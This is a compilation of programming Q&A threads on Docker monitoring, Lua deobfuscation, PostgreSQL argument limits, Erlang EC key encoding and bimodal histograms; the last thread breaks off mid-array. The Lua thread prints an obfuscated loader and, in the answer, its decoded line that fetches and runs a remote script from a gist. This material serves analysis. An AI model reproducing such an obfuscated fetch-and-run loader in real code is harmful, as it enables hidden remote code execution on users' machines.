How to programmatically monitor if a docker container exited? - docker

I am running multiple named docker containers (200+) on my VM Host.
I have a manager script/code that is supposed to manage the containers from the host.
I would like to know if there is any event-based mechanism to get notified when a container stops/fails. So that I can restart the stopped container.
One solution I could think of is doing a periodic docker inspect and looking at State.Pid or State.Running to confirm the status.
But,instead of periodic polling, it would be better if the manager is notified with pid/name when a container fails so that, the particular container alone can be restarted.
On a general note, are there ways to programmatically monitor the status of a process from a different process that is not the parent ?


Look at docker events - there is an event for container 'die'.
There is also an http interface to get the same information programmatically - see here
You may want to do a web search for 'docker orchestration' - many projects springing up to manage multiple containers in the way you describe.


If you just want to restart the containers why don't you use a restart policy?
docker run --restart=always IMAGE


psutil seems to do what you want
http://pypi.python.org/pypi/psutil
From Python
import psutil
psutil.pids()
[1, 2, 3, 5, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 51, 52, 53, 54, 56, 57, 58, 59, 61, 62, 63, 64, 65, 66, 67, 69, 70, 71, 72, 73, 74, 76, 77, 78, 79, 80, 81, 82, 94, 97, 98, 117, 118, 137, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 200, 201, 210, 211, 213, 214, 229, 230, 411, 416, 419, 526, 527, 542, 543, 544, 545, 555, 569, 625, 709, 714, 756, 781, 782, 796, 862, 863, 864, 869, 914, 944, 945, 948, 954, 996, 1052, 1061, 1064, 1067, 1170, 1174, 1179, 1180, 1183, 1234, 1240, 1241, 1245, 1323, 1328, 1340, 1351, 1354, 1390, 1408, 1457, 1507, 1531, 1631, 1662, 1933, 1972, 1981, 1987, 1989, 1993, 2346, 2348, 2413, 2422, 2429, 2442, 2445, 2449, 2451, 2457, 2461, 2471, 2489, 2490, 2491, 2493, 2497, 2501, 2505, 2509, 2513, 2524, 2546, 2549, 2551, 2554, 2563, 2567, 2572, 2573, 2576, 2578, 2586, 2595, 2598, 2624, 2644, 2655, 2665, 2667, 2687, 2689, 2693, 2699, 2744, 2752, 2785, 2789, 2794, 2798, 2804, 2817, 2820, 2830, 2838, 2856, 2862, 2864, 2886, 2903, 2935, 2972, 2985, 2986, 3138, 3164, 3211, 3368, 3371, 3557, 4125, 4352, 4443, 4444, 4743, 4818, 4819, 4840, 4841, 4844, 4845, 4866, 4876, 6142, 6363, 6366, 6372, 6378, 6385, 6391, 6452, 6518, 6524, 6531, 6555, 6558, 6601]
p = psutil.Process(2862)
p.status()
'sleeping'

Related

How to decrypt a LuaT script

How can I decrypt this new Lua encryption method?
key=[[BREW STORE]];dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx='om jangan decrypt aku :((';awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii='Obfuscator Ini Milik ZiGB';jknofzqxfwhpgpwunwnntdqilsqedpbwajyxnzgqchnbspvvehqoyvqdsavrovwklpgfbzpyiorpggadtdjbworigkbdnkbsspfsobalqavigtcfwehcreyeftezpkdi='Kamu Nyari Load?';rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu='Saya Tak Ragu Ingin Nembak Gay People';yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn="Soeharto is first indonesian president. Jokowi is seventh indonesian's president, Itadori Yuuji is one of main character in Jujutsu Kaisen Anime, Kento Nanami is Side Character On Jujutsu Kaisen Anime. Lava is 1 of the most dangerous liquid in the world (cap)";mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju={ 1,160,3,187,236,277,257,244,160,185,307,173,170,186,170,164,168,168,280,246,160,160,160,160,160,160,160,160,160,160,160,200,279,224,161,392,224,227,218,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,271,258,262,277,275,259,257,276,261,260,252,261,270,259,206,268,277,257,293,296,160,160,215,161,337,171,160,160,160,299,160,160,161,171,161,160,162,174,161,162,163,299,161,160,164,302,161,163,165,179,162,160,320,242,160,160,160,289,290,213,288,161,163,215,288,289,163,208,288,161,292,209,288,289,292,179,288,161,293,216,288,289,165,210,288,161,166,216,288,289,166,218,288,161,167,210,288,289,167,217,288,161,296,217,288,289,296,175,288,161,297,179,288,289,297,176,288,161,170,195,288,289,170,194,288,161,299,201,288,289,299,176,288,161,300,181,288,289,300,175,288,161,301,176,288,289,301,211,288,161,302,217,288,289,302,217,288,161,303,215,288,289,175,217,288,161,304,188,288,289,176,183,288,161,177,183,288,289,177,211,288,161,178,212,288,289,178,217,288,161,307,217,288,289,307,182,288,161,180,211,288,289,180,212,288,161,309,217,288,289,309,211,288,161,182,218,288,289,310,208,288,161,183,218,288,289,183,217,288,161,184,210,288,289,312,216,288,161,185,209,288,289,185,215,288,161,314,214,288,289,314,217,288,161,187,210,288,238,162,210,160,289,290,214,288,161,291,217,288,289,291,182,288,161,164,209,288,289,164,215,288,161,165,214,288,289,165,183,288,161,294,208,288,289,294,216,288,161,167,210,288,289,167,219,288,161,296,209,288,289,168,210,288,161,297,216,288,289,169,217,288,161,170,183,288,289,170,210,288,161,171,188,288,289,171,209,288,161,300,186,288,289,172,208,288,161,301,209,288,289,301,187,288,161,302,186,288,289,174,208,288,161,303,209,288,289,175,184,288,161,304,185,288,289,304,187,288,161,177,208,288,289,177,185,288,161,306,208,288,289,178,210,288,161,307,186,288,289,179,188,288,161,180,208,288,289,180,208,288,161,309,208,288,289,181,184,288,161,310,210,288,289,182,185,288,161,311,209,288,289,183,186,288,161,184,210,288,289,184,208,288,161,185,210,288,289,185,209,288,161,186,188,288,289,186,183,288,161,315,216,288,238,162,210,210,289,162,208,288,161,163,219,288,289,163,183,288,161,164,210,288,289,292,184,288,161,293,183,288,289,165,184,288,161,294,185,288,289,294,187,288,161,295,186,288,289,295,187,288,161,168,187,288,289,168,186,288,161,169,185,288,289,297,185,288,161,170,186,288,289,298,209,288,161,171,185,288,289,299,185,288,161,172,186,288,289,300,186,288,161,301,185,288,289,301,184,288,161,302,210,288,289,174,185,288,161,303,185,288,289,175,186,288,161,304,209,288,289,176,187,288,161,305,184,288,289,177,209,288,161,306,210,288,289,306,184,288,161,307,185,288,289,307,185,288,161,308,187,288,289,308,183,288,161,309,184,288,289,181,188,288,161,310,185,288,289,182,187,288,161,311,184,288,289,183,185,288,161,184,183,288,289,312,193,288,161,313,194,288,289,313,208,288,161,314,216,288,289,186,210,288,161,187,219,288,238,162,210,260,289,290,182,288,161,291,213,288,289,163,218,288,161,164,208,288,289,292,176,288,161,165,180,288,289,165,180,288,161,294,175,288,289,294,179,288,161,167,180,288,238,162,170,310,356,161,162,160,228,161,160,160,356,160,160,160,228,160,160,161,231,160,161,160,294,164,294,272,259,257,268,268,164,293,268,271,257,260,164,295,275,276,274,265,270,263,164,293,259,264,257,274,164,294,276,257,258,268,261,164,295,277,270,272,257,259,267,289,160,160,160,288,161,337,162,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,288,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,161,289,409,295,288,289,293,255,229,238,246};local nau = 'load'; function krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(...) local nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm='';for hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb=1, #mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju do if hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb>3 then nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm=nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm.._ENV['\115\116\114\105\110\103']['\99\104\97\114']((mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb]-mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[2]));end end;local tolan = 'loadstring';_ENV[_ENV['\115\116\114\105\110\103']['\99\104\97\114'](awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii:lower():sub(18,18):byte(),dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx:lower():sub(1,1):byte(),rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu:lower():sub(-9,-9):byte(),yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn:lower():sub(21,21):byte())](nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm)(); end;krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju);
I tried many methods. But I don't think I'm experienced enough. The result was negative.

Add proper linebreaks
Replace insane variable names with shorter ones
Unescape things like '\115\116\114\105\110\103' into 'string'
Keep going until you realize the thing that starts with _ENV[_ENV[ ends up becoming just load (by the way, nau and tolan are unused decoys)
Notice that it's a very simple decryption function that operates on the giant table of numbers and then loads the result
Modify the decryption function to print the result instead of loading it
Notice the result of doing so is Lua 5.4 bytecode
Run unluac on said bytecode
If you're following along, you'll have gotten this out of unluac (newlines elided for brevity):
pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))
Now reverse the string.char and table.unpack to see what it's really doing:
load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()
So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua) has what it's really doing, and it's finally not obfuscated at all. (The sha256 was 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d at the time of writing this answer; some archives/mirrors: 1 2 3 4)
And if you're wondering how this obfuscation happened, this string is present in the bytecode, which should give you a hint: C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua

Can't query for more than 100 IDs with PostgreSQL

I'm migrating from MySQL to PostgreSQL, but I'm getting the following error:
PG::TooManyArguments: ERROR: cannot pass more than 100 arguments to a function
when running queries like this:
Project.where(id: ids)
Which is translated to
"SELECT \"projects\".* FROM \"projects\" WHERE \"projects\".\"id\" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100) ORDER BY FIELD(projects.id, '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100')"
For me it's a common use case to query by specific IDs and it worked pretty well with MySQL. Is there any way to make this work with PostgreSQL?
I'm using PostgreSQL 13.2 on a docker container.

According to the error you have, cause is the function not the query itself. you can pass 32K arguments to the query and it will work (2byte int limit). As for functions, postgres by default has 100 arg limit (set during compilation). you can try to compile from source and set that number to higher value (I dont recommend doing that, unless you really understand the consequences).
Best approach would be probably to look into how to replace FIELD() function that is executed and modify so that you don't run into the problem. Can you change your system so that you can use column in DB to sort by? That way you dont need to pass those IDs for sorting. Or, if you have to use IDs, what about using CASE for sorting, like in this SO question: Simulating MySQL's ORDER BY FIELD() in Postgresql

The only "fix" I could find was downgrading PostgreSQL docker image to 11.11 where this error does not happen.

Upgrade to OTP 18 breaks usage of public_key library

Building a pem file in Elixir requires several steps, including building an entity. In OTP 17, the following works:
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
ec_entity = {:ECPrivateKey,
1,
:binary.bin_to_list(private),
{:namedCurve, {1, 3, 132, 0, 10}},
{0, public}}
der_encoded = :public_key.der_encode(:ECPrivateKey, ec_entity)
pem = public_key.pem_encode([{:ECPrivateKey, der_encoded, :not_encrypted}])
But using OTP 18, the following error occurs:
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
ec_entity = {:ECPrivateKey,
1,
:binary.bin_to_list(private),
{:namedCurve, {1, 3, 132, 0, 10}},
{0, public}}
der_encoded = :public_key.der_encode(:ECPrivateKey, ec_entity)
** (MatchError) no match of right hand side value: {:error, {:asn1, :badarg}}
public_key.erl:253: :public_key.der_encode/2
What is the source of this error?

The source of the error is a change in the way that the public_key entity is constructed between OTP 17 and OTP 18. If we reverse the process, starting with a pem file, we can see the difference.
OTP 17:
iex(6)> pem = "-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIJniJF4vtTqE4wS5AkhmMZsHIbil0l3XfRButkw5IJYFoAcGBSuBBAAK\noUQDQgAEtxm+jijBB0JxZTceHnCHE0HpMXJp1ScVUZ5McvDUVsS/Dek8IdAsMOPz\nnnVALflZzXtH/wU9p2LrFdJeuXwL8g==\n-----END EC PRIVATE KEY-----\n\n"
"-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIJniJF4vtTqE4wS5AkhmMZsHIbil0l3XfRButkw5IJYFoAcGBSuBBAAK\noUQDQgAEtxm+jijBB0JxZTceHnCHE0HpMXJp1ScVUZ5McvDUVsS/Dek8IdAsMOPz\nnnVALflZzXtH/wU9p2LrFdJeuXwL8g==\n-----END EC PRIVATE KEY-----\n\n"
iex(7)> [{type, decoded, _}] = :public_key.pem_decode(pem)
[{:ECPrivateKey,
<<48, 116, 2, 1, 1, 4, 32, 153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5, 160, 7, 6, 5, 43, 129, 4, 0, 10, ...>>,
:not_encrypted}]
iex(8)> :public_key.der_decode(type, decoded)
{:ECPrivateKey, 1,
[153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33,
184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5],
{:namedCurve, {1, 3, 132, 0, 10}},
{0,
<<4, 183, 25, 190, 142, 40, 193, 7, 66, 113, 101, 55, 30, 30, 112, 135, 19, 65, 233, 49, 114, 105, 213, 39, 21, 81, 158, 76, 114, 240, 212, 86, 196, 191, 13, 233, 60, 33, 208, 44, 48, 227, 243, 158, 117, ...>>}}
OTP 18:
iex(5)> [{type, decoded, _}] = :public_key.pem_decode(pem)
[{:ECPrivateKey,
<<48, 116, 2, 1, 1, 4, 32, 153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5, 160, 7, 6, 5, 43, 129, 4, 0, 10, ...>>,
:not_encrypted}]
iex(6)> entity = :public_key.der_decode(type, decoded)
{:ECPrivateKey, 1,
<<153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5>>,
{:namedCurve, {1, 3, 132, 0, 10}},
<<4, 183, 25, 190, 142, 40, 193, 7, 66, 113, 101, 55, 30, 30, 112, 135, 19, 65, 233, 49, 114, 105, 213, 39, 21, 81, 158, 76, 114, 240, 212, 86, 196, 191, 13, 233, 60, 33, 208, 44, 48, 227, 243, 158, 117, 64, ...>>}
The difference is in how the public and private keys are represented.
The signature of an ECPrivateKey Record is:
ECPrivateKey'{ version, privateKey, parameters, publicKey}
In Erlang 18, both values are represented at plain binaries, in 17, the private key is a list and the public key is part of a tuple, {0, binary}.
So in order to build the pem file correctly, the entity representation has to change.
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
entity = {:ECPrivateKey,
1,
private,
{:namedCurve, {1, 3, 132, 0, 10}},
public}
Using the new representation of the record will solve the problem.

I didn't really check why your version works on some versions, but I've got some code that works on all these erlang versions: 19.0, 18.2.1, 18.1, 18.0, 17.5, R16B03 (running on travis).
-include_lib("public_key/include/public_key.hrl").
genPEMKey() ->
CurveId = secp256k1,
{PubKey, PrivKey} = crypto:generate_key(ecdh, CurveId),
Key = #'ECPrivateKey'{version = 1,
privateKey = PrivKey,
parameters = {
namedCurve,
pubkey_cert_records:namedCurves(CurveId)},
publicKey = PubKey},
DERKey = public_key:der_encode('ECPrivateKey', Key),
public_key:pem_encode([{'ECPrivateKey', DERKey, not_encrypted}]).
This piece of code was based on the examples found in the OTP codebase:
https://github.com/erlang/otp/blob/master/lib/public_key/test/erl_make_certs.erl#L407

How to identify Bimodal Histograms automatically?

I have a problem where I receive a lot of histograms from some database images. Those histograms are represented as vectors (0...255), and I have to identify and work with the bimodal histograms.
Is there a formula to automatically identify which histograms are bimodal and which aren't? Since they are numeric vectors, I could use a programming language (Java/C#) to work with it.
Is there a criterion on literature to identify bimodal histograms by software?
Here are 3 examples of histograms and format inputs I'm working with. Each histogram is a vector with 256 (0...255) positions.
Histogram 1
8029, 41, 82, 177, 135, 255, 315, 591, 949, 456, 499, 688, 446, 733, 712, 1595, 2633, 3945, 6134, 9755, 9236, 11911, 11888, 9450, 13119, 8819, 5991, 4399, 6745, 2017, 3747, 1777, 2946, 1623, 2151, 454, 3015, 3176, 2211, 1080, 391, 580, 750, 473, 10424, 334, 559, 621, 340, 2794, 1094, 5274, 2822, 204, 389, 728, 268, 15, 1060, 58, 113, 2728, 52, 3166, 11, 103, 522, 107, 351, 97, 66, 565, 315, 444, 3305, 245, 647, 306, 147, 112, 103, 672, 69, 317, 61, 224, 71, 52, 479, 62, 106, 166, 215, 132, 137, 321, 998, 427, 846, 787, 542, 1054, 1429, 615, 697, 580, 642, 768, 1244, 462, 4107, 1701, 2394, 4954, 4869, 1841, 1807, 1032, 3075, 331, 488, 627, 1281, 233, 1010, 1178, 727, 830, 1619, 728, 1428, 1849, 4826, 351, 745, 320, 888, 335, 741, 1151, 734, 689, 2143, 1130, 2482, 3609, 4779, 5678, 4186, 2654, 1668, 1290, 702, 1093, 476, 438, 445, 271, 98, 368, 226, 90, 75, 26, 33, 62, 16, 824, 21, 37, 34, 24, 54, 42, 101, 112, 18, 24, 17, 15, 3, 50, 7, 6, 54, 3, 58, 9, 10, 66, 12, 11, 10, 6, 25, 11, 7, 172, 13, 18, 21, 9, 8, 9, 42, 16, 15, 6, 12, 17, 7, 591, 6, 7, 14, 24, 7, 7, 19, 87, 18, 8, 9, 9, 35, 55, 4, 17, 10, 18, 22, 46, 8, 852, 15, 14, 12, 11, 9, 3, 50, 163, 12, 4, 18, 129, 6, 35, 47, 14, 18, 150, 21, 46, 24, 0
Histogram 2
8082, 4857, 1494, 2530, 1604, 1636, 1651, 1681, 1630, 1667, 1636, 1649, 1934, 1775, 1701, 1691, 1478, 1649, 1449, 1449, 1503, 1475, 1497, 1398, 1509, 1747, 1301, 1539, 1575, 1496, 1754, 1432, 1759, 1786, 1679, 1816, 2435, 1174, 1780, 1344, 1749, 2026, 1779, 1742, 1722, 1835, 2306, 1662, 1965, 1885, 2212, 2139, 1930, 2306, 2707, 2289, 2307, 2082, 2360, 2216, 2480, 2243, 2222, 1824, 4555, 1918, 2116, 2275, 2615, 2240, 2703, 2481, 2626, 2708, 3008, 2696, 2561, 2906, 3625, 2419, 3137, 2793, 2747, 2861, 2774, 4124, 3155, 3243, 3523, 3432, 3277, 3456, 2984, 2902, 2819, 2778, 3158, 2997, 2591, 2717, 2553, 2464, 3657, 2296, 2352, 2046, 2124, 1965, 2014, 2096, 1664, 1373, 1607, 1322, 1272, 1113, 1156, 1055, 924, 881, 1019, 669, 929, 636, 590, 463, 524, 177, 1267, 378, 409, 413, 415, 435, 385, 379, 267, 413, 266, 282, 499, 194, 360, 199, 337, 92, 986, 183, 160, 230, 124, 213, 188, 334, 164, 159, 130, 143, 135, 331, 25, 118, 114, 98, 74, 301, 92, 119, 94, 72, 192, 38, 64, 100, 138, 30, 98, 65, 226, 23, 46, 78, 78, 61, 55, 234, 26, 36, 95, 31, 49, 214, 25, 34, 58, 37, 101, 20, 41, 34, 150, 16, 50, 25, 53, 18, 30, 67, 27, 36, 42, 23, 60, 12, 21, 36, 12, 45, 21, 58, 53, 18, 51, 16, 25, 9, 24, 15, 18, 30, 33, 20, 19, 12, 23, 16, 14, 21, 14, 10, 20, 13, 12, 9, 6, 9, 7, 10, 7, 2, 0, 0, 0, 0, 0, 2087
Histogram 3
50, 226, 857, 2018, 1810, 1795, 1840, 1929, 1942, 1693, 1699, 1547, 1564, 1556, 1451, 1439, 1448, 1357, 1428, 1419, 1383, 1705, 1670, 1777, 1826, 1865, 1897, 1924, 2003, 1973, 1813, 1801, 1827, 1696, 1717, 1654, 1678, 1705, 1621, 1523, 1494, 1559, 1434, 1370, 1358, 1385, 1348, 1380, 1368, 1367, 1389, 1445, 1514, 1471, 1465, 1461, 1475, 1484, 1390, 1403, 1324, 1339, 1426, 1432, 1487, 1460, 1469, 1460, 1546, 1504, 1425, 1373, 1391, 1391, 1382, 1311, 1368, 1354, 1325, 1323, 1263, 1325, 1363, 1357, 1325, 1322, 1429, 1419, 1412, 1371, 1266, 1179, 1166, 1076, 1100, 1083, 1103, 1053, 1116, 1080, 1071, 1025, 1088, 1060, 1011, 984, 958, 959, 954, 937, 982, 950, 1001, 963, 965, 875, 1010, 954, 990, 894, 959, 972, 963, 1101, 971, 1042, 1064, 1075, 1029, 1088, 1090, 1068, 1073, 1058, 1102, 1105, 1009, 1062, 1005, 1048, 973, 998, 1034, 1013, 961, 1006, 983, 948, 1031, 972, 952, 1013, 954, 964, 970, 881, 887, 967, 941, 928, 994, 1019, 1106, 1056, 1113, 1071, 1158, 1108, 1178, 1071, 1080, 1074, 1050, 1076, 1106, 1048, 973, 1042, 997, 1034, 934, 863, 935, 845, 839, 803, 764, 782, 787, 771, 766, 751, 745, 804, 789, 765, 681, 658, 690, 672, 650, 635, 695, 619, 572, 499, 535, 565, 564, 520, 516, 568, 530, 479, 507, 424, 446, 455, 380, 395, 371, 360, 391, 373, 351, 388, 426, 349, 417, 421, 400, 443, 470, 485, 456, 495, 452, 484, 457, 518, 519, 631, 652, 693, 762, 771, 807, 906, 991, 1138, 1433, 1545, 2467, 4907, 6743, 1921

smooth histogram
this filter out small local min max and noise. Use symmetric smoothing to avoid shifting to one side. I smooth from left then from the right which lower the shifting a lot.
find/count the local max peaks
Count only big enough peaks (by some treshold). If peak count is not 2 then it is not a bimodal histogram unless you have different definition of bimodal like:
noise count too
no matter how many peaks but single gap must be present
It depends on what for the histograms are used
Here is some code in C++ I busted for this:
void histograms(Graphics::TBitmap *bmp,int xs,int ys,int **pyx)
{
// clear buffer
bmp->Canvas->Brush->Color=clBlack;
bmp->Canvas->FillRect(TRect(0,0,xs,ys));
bmp->Canvas->Font->Color=clAqua;
bmp->Canvas->TextOutA( 5,5,"Raw histogram");
bmp->Canvas->TextOutA(285,5,"Smoothed histogram");
int his1[256]={ 8029, 41, 82, 177, 135, 255, 315, 591, 949, 456, 499, 688, 446, 733, 712, 1595, 2633, 3945, 6134, 9755, 9236, 11911, 11888, 9450, 13119, 8819, 5991, 4399, 6745, 2017, 3747, 1777, 2946, 1623, 2151, 454, 3015, 3176, 2211, 1080, 391, 580, 750, 473, 10424, 334, 559, 621, 340, 2794, 1094, 5274, 2822, 204, 389, 728, 268, 15, 1060, 58, 113, 2728, 52, 3166, 11, 103, 522, 107, 351, 97, 66, 565, 315, 444, 3305, 245, 647, 306, 147, 112, 103, 672, 69, 317, 61, 224, 71, 52, 479, 62, 106, 166, 215, 132, 137, 321, 998, 427, 846, 787, 542, 1054, 1429, 615, 697, 580, 642, 768, 1244, 462, 4107, 1701, 2394, 4954, 4869, 1841, 1807, 1032, 3075, 331, 488, 627, 1281, 233, 1010, 1178, 727, 830, 1619, 728, 1428, 1849, 4826, 351, 745, 320, 888, 335, 741, 1151, 734, 689, 2143, 1130, 2482, 3609, 4779, 5678, 4186, 2654, 1668, 1290, 702, 1093, 476, 438, 445, 271, 98, 368, 226, 90, 75, 26, 33, 62, 16, 824, 21, 37, 34, 24, 54, 42, 101, 112, 18, 24, 17, 15, 3, 50, 7, 6, 54, 3, 58, 9, 10, 66, 12, 11, 10, 6, 25, 11, 7, 172, 13, 18, 21, 9, 8, 9, 42, 16, 15, 6, 12, 17, 7, 591, 6, 7, 14, 24, 7, 7, 19, 87, 18, 8, 9, 9, 35, 55, 4, 17, 10, 18, 22, 46, 8, 852, 15, 14, 12, 11, 9, 3, 50, 163, 12, 4, 18, 129, 